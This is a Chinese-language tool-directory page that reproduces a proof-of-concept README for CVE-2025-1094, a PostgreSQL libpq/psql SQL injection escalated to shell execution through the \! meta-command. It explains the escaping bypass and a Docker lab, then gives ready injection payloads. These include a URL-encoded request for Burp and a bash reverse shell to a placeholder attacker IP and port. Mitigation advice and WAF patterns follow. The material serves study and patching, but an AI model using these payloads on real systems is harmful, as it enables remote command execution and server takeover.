Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
POC-CVE-2025-1094 — CVE-2025-1094的概念验证漏洞利用,这是PostgreSQL psql SQL注入,通过libpq转义绕过导致RCE。包括Docker环境、漏洞利用脚本和缓解指南。 | Kitploit
工具/GitHubGitHub/trandonga3/poc-cve-2025-1094
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育实验室与实践
GitHubtrandonga3/poc-cve-2025-1094

POC-CVE-2025-1094

CVE-2025-1094的概念验证漏洞利用,这是PostgreSQL psql SQL注入,通过libpq转义绕过导致RCE。包括Docker环境、漏洞利用脚本和缓解指南。

查看仓库
3个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

POC CVE-2025-1094: PostgreSQL psql SQL注入

概念验证 针对 PostgreSQL 客户端 libpq 和 psql 工具中的严重 SQL 注入漏洞

📋 目录

  1. 漏洞介绍
  2. 项目目录结构
  3. 攻击载荷分析
  4. 使用指南
  5. 修复与防范

1. 漏洞介绍

概述

CVE-2025-1094 是 PostgreSQL 客户端库 libpq 和命令行工具 psql 中的一个严重漏洞。该漏洞允许攻击者在应用已使用标准字符串转义函数(如 PQescapeLiteral)的情况下,实施 SQL 注入并升级为远程代码执行(RCE)。

根本原因

该问题源于 libpq 的字符串转义库与 psql 解析器之间,对无效多字节(例如 UTF-8)字节序列的处理不一致。

两种主要攻击机制:

1. 绕过转义

  • PQescapeLiteral 函数被一个“伪字节”(例如 0xC0)欺骗
  • 它将此字节与紧随的单引号(')视为一个字符
  • 导致该单引号未被转义

2. 通过元命令实现 RCE

  • 当这个被篡改的字符串被送入 psql 工具时
  • 攻击者可以逃逸 SQL 语句,并使用 psql 的系统命令 \!
  • 允许在服务器上执行任意 shell 命令

2. 项目目录结构

本项目模拟了当调用 C 语言 libpq 函数时的实际环境:

root@kitploit:~
.
├── docker-compose.yml       # 启动 PostgreSQL + Web 应用
├── exolit.py               # 漏洞利用脚本 - 从外部攻击
├── README.md               # 本文档
└── app/
    ├── app.py             # Flask Web 应用 - 接收用户输入
    ├── Dockerfile         # 构建包含漏洞代码的镜像
    └── init_db.sql        # 初始化数据库

主要组件:

  • Flask Web 应用:通过 /search 端点接收用户输入
  • libpq C 函数:处理 SQL 查询,但未验证字节有效性
  • psql 元命令:允许通过 \! 执行系统命令
  • 子进程管道:应用通过输入流将 SQL 语句传递给 psql

3. 攻击载荷分析

示例载荷

root@kitploit:~
hax\xc0'; \! id; #

各组成部分解析:

执行流程:

root@kitploit:~
1. 用户输入: hax\xc0'; \! id; #
   ↓
2. PQescapeLiteral() 未识别 \xc0 + ' 为攻击
   ↓
3. 字符串被发送至 psql: hax\xc0'; \! id; #
   ↓
4. psql 解析:\xc0 部分被视为字符串结束
   ↓
5. 元命令 \! 被触发
   ↓
6. 以容器权限执行 shell 命令 id

4. 使用指南

方式一:使用 Docker Compose(推荐)

步骤1:启动环境

root@kitploit:~
docker-compose up -d

步骤2:等待容器启动

root@kitploit:~
docker-compose ps

确保 PostgreSQL 和 Flask 应用均已运行。

步骤3:执行漏洞利用

root@kitploit:~
python exolit.py

预期结果: 将显示从服务器获取的 uid=0(root) 信息

步骤4:停止环境

root@kitploit:~
docker-compose down

方式二:使用 Burp Suite(手动)

发送 HTTP 请求

发送一个 POST 请求到 /search,请求体如下:

root@kitploit:~
name=hax%c0%27;+\!+id+;+%23

URL 编码参考:

  • %c0 = \xc0(无效 UTF-8 字节)
  • %27 = '(单引号)
  • %23 = #(井号)
  • + = 空格

反向 Shell 载荷:

root@kitploit:~
hax%c0%27;+\!+bash+-c+"bash+-i+>%26+/dev/tcp/<hacker-ip>/<hacker-port>+0>%261"+;+%23

注意: 将 <hacker-ip> 和 <hacker-port> 替换为攻击者的 IP 和端口


5. 修复与防范

A. 安装补丁

升级 PostgreSQL 到已修复的版本:

版本安全版本
17.x≥ 17.3
16.x≥ 16.7
15.x≥ 15.11
14.x≥ 14.16
13.x≥ 13.19

B. 检查编码

在处理输入数据之前,始终验证其是否为有效的 UTF-8:

root@kitploit:~
def validate_utf8(data):
    try:
        data.encode('utf-8').decode('utf-8')
        return True
    except UnicodeDecodeError:
        return False

C. 限制使用 psql CLI

在应用编程中,请使用官方驱动库:

root@kitploit:~
# ❌ 不要:使用 subprocess + psql
subprocess.run(['psql', '-c', user_input])

# ✅ 应该:使用 psycopg2 的参数化查询
import psycopg2
conn = psycopg2.connect("...")
cursor = conn.cursor()
cursor.execute("SELECT * FROM users WHERE name = %s", (user_input,))

D. 最小权限原则

  • 不要以 root 身份运行 Web 应用
  • 不要以 root 身份运行数据库
  • 使用具有最小权限的专用用户

E. WAF / IDS 规则

设置检测以下模式的规则:

root@kitploit:~
- 请求体中的 0xC0、0xC1 字节
- 用户输入中的元命令 `\!`
- 类似 `; \!` 或 `' \!` 的字符串

📚 参考资料

  1. 源代码文件链接(修复前) 您可以查看 17.2 版本(仍存在漏洞)的 src/interfaces/libpq/fe-exec.c 文件:

    • GitHub 链接:PostgreSQL fe-exec.c 在 REL_17_2 标签处 (https://github.com/postgres/postgres/blob/REL_17_2/src/interfaces/libpq/fe-exec.c)
    • 重要函数:请查找 PQescapeStringInternal 函数(通常位于第 3400 行左右)。这是 PQescapeLiteral 和 PQescapeString 都调用的“核心”函数。
  2. 查看“补丁”(The Patch)—— 白盒分析最重要 要理解他们为何出错以及如何修复,最佳方式是查看 Commit Diff(有漏洞版本与修复版本之间的差异)。

    • 官方 Commit 链接:Fix escaping of invalid multibyte characters in libpq (https://github.com/postgres/postgres/commit/8276f5055b1111005a8ce6f15792015e71f5307b)
  3. 漏洞分析文章:https://www.rapid7.com/blog/post/2025/02/13/cve-2025-1094-postgresql-psql-sql-injection-fixed/

下载工具
组成部分值含义
数据输入hax正常普通数据
伪字节\xc0无效 UTF-8 字节 - 绕过转义
引号'“隐形” 单引号 - 逃过过滤器
SQL 结束符;结束当前 SQL 语句
元命令\!psql 特殊命令 - 逃逸至操作系统 Shell
Shell 命令id待执行的命令(可替换为反向 shell)
注释#SQL 注释标记 - 禁用多余部分